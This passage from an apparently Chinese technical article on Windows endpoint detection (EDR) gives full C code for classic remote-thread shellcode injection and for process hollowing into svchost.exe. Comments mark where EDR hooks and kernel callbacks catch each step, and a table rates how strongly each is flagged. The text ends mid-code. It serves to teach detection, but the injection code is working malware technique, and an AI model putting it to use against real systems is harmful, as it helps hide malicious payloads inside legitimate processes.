leaf="">);</span><span leaf=""><br/></span><span leaf="">STARTUPINFOEXA si = { </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> };</span><span leaf=""><br/></span><span leaf="">si.StartupInfo.cb = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(STARTUPINFOEXA);</span><span leaf=""><br/></span><span leaf="">si.lpAttributeList = pAttrList;</span><span leaf=""><br/></span><span leaf="">CreateProcessA(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, exePath, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, FALSE,</span><span leaf=""><br/></span><span leaf="">               CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,</span><span leaf=""><br/></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, &amp;si.StartupInfo, &amp;pi);</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7 进程注入技术</span></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7.1 经典远程线程注入（VirtualAllocEx + CreateRemoteThread）</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这是最基础的进程注入方式，每个步骤都会被 EDR 的内核回调和用户态 Hook 完整记录：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 经典远程线程注入完整实现</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ClassicInjection</span></span><span style="line-height: 26px;"><span leaf="">(DWORD targetPid, PBYTE shellcode, SIZE_T shellcodeSize)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Step 1: 打开目标进程</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] OpenProcess会被ObRegisterCallbacks监控</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 若请求PROCESS_ALL_ACCESS权限, EDR可能直接拒绝或降权</span></span><span leaf=""><br/></span><span leaf="">    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!hProcess) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Step 2: 在目标进程中分配内存</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] VirtualAllocEx分配RWX内存会被立即标记</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// EDR会记录: 基址、大小、属性(RWX极度可疑)</span></span><span leaf=""><br/></span><span leaf="">    PVOID pRemoteBuf = VirtualAllocEx(hProcess, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, shellcodeSize,</span><span leaf=""><br/></span><span leaf="">                                       MEM_COMMIT | MEM_RESERVE,</span><span leaf=""><br/></span><span leaf="">                                       PAGE_EXECUTE_READWRITE);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!pRemoteBuf) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Step 3: 写入shellcode</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] WriteProcessMemory会被ntdll Hook记录</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// EDR会记录: 源地址、目标地址、写入长度</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 且写入内容可能被复制到EDR缓冲区进行特征扫描</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcodeSize, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Step 4: 创建远程线程执行</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] CreateRemoteThread是最强检测信号</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// EDR会记录: 线程起始地址(非模块内)、创建者进程</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 线程起点不在任何已加载DLL内 → 立即标记为注入</span></span><span leaf=""><br/></span><span leaf="">    HANDLE hThread = CreateRemoteThread(hProcess, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                                         (LPTHREAD_START_ROUTINE)pRemoteBuf,</span><span leaf=""><br/></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!hThread) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">    WaitForSingleObject(hThread, INFINITE);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">EDR 检测链路分析：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">执行步骤</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">触发的EDR监控</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">检测严重度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">关联分析权重</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">OpenProcess(ALL_ACCESS)</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ObRegisterCallbacks</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">中</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">句柄请求权限过高</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">VirtualAllocEx(RWX)</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">NtAllocateVirtualMemory Hook</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">高</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">RWX内存分配是强信号</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">WriteProcessMemory</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">NtWriteVirtualMemory Hook</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">高</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">跨进程内存写入</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><code><span leaf="">CreateRemoteThread</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">PsSetCreateThreadNotifyRoutine</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">极高</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">线程起点不在合法模块内</span></p></td></tr></tbody></table></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">结论</span></strong><span leaf="">：经典注入的每一步都会被现代 EDR 完整记录并关联分析，四步操作形成完整的注入证据链，检出率接近 100%，仅适用于教学演示。</span></p></blockquote><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7.2 进程镂空（Process Hollowing）</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 进程镂空完整实现</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 优势: 进程树看起来完全正常, 父进程是合法的系统进程</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 1. 以挂起状态创建合法进程 (关键: STARTUPINFO必须匹配目标进程)</span></span><span leaf=""><br/></span><span leaf="">STARTUPINFOA si = { </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(si) };</span><span leaf=""><br/></span><span leaf="">PROCESS_INFORMATION pi = { </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> };</span><span leaf=""><br/></span><span leaf="">CreateProcessA(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\\Windows\\System32\\svchost.exe&#34;</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, &amp;si, &amp;pi);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 2. 读取PEB获取进程映像基址</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] NtQueryInformationProcess可能被Hook</span></span><span leaf=""><br/></span><span leaf="">PROCESS_BASIC_INFORMATION pbi = { </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> };</span><span leaf=""><br/></span><span leaf="">NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &amp;pbi, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(pbi), </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">PVOID baseAddress = (PVOID)pbi.PebBaseAddress-&gt;Reserved3[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// PEB.ImageBaseAddress</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 3. 取消原映像映射 (关键步骤, 使进程内存为空)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] NtUnmapViewOfSection是强信号, 合法程序极少调用</span></span><span leaf=""><br/></span><span leaf="">NtUnmapViewOfSection(pi.hProcess, baseAddress);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 4. 在原基址分配内存并写入恶意PE</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] VirtualAllocEx + WriteProcessMemory组合</span></span><span leaf=""><br/></span><span leaf="">PVOID pRemoteBase = VirtualAllocEx(pi.hProcess, baseAddress, payloadSize,</span><span leaf=""><br/></span><span leaf="">                                    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</span><span leaf=""><br/></span><span leaf="">WriteProcessMemory(pi.hProcess, pRemoteBase, payload, payloadSize, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 5. 修复PE重定位表 (若加载地址与PE期望基址不同)</span></span><span leaf=""><br/></span><span leaf="">FixRelocations(pRemoteBase, payload, (ULONG_PTR)baseAddress);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 6. 修改线程上下文入口点并恢复执行</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// [EDR检测点] SetThreadContext修改RIP是强注入信号</span></span><span leaf=""><br/></span><span leaf="">CONTEXT ctx = { </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> };</span><span leaf=""><br/></span><span leaf="">ctx.ContextFlags = CONTEXT_FULL;</span><span leaf=""><br/></span><span leaf="">GetThreadContext(pi.hThread, &amp;ctx);</span><span leaf=""><br/></span><span leaf="">ctx.Rcx = (DWORD64)((BYTE*)pRemoteBase + payloadEntryPoint); </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 设置新的RIP</span></span><span leaf=""><br/></span><span leaf="">SetThreadContext(pi.hThread, &amp;ctx);</span><span 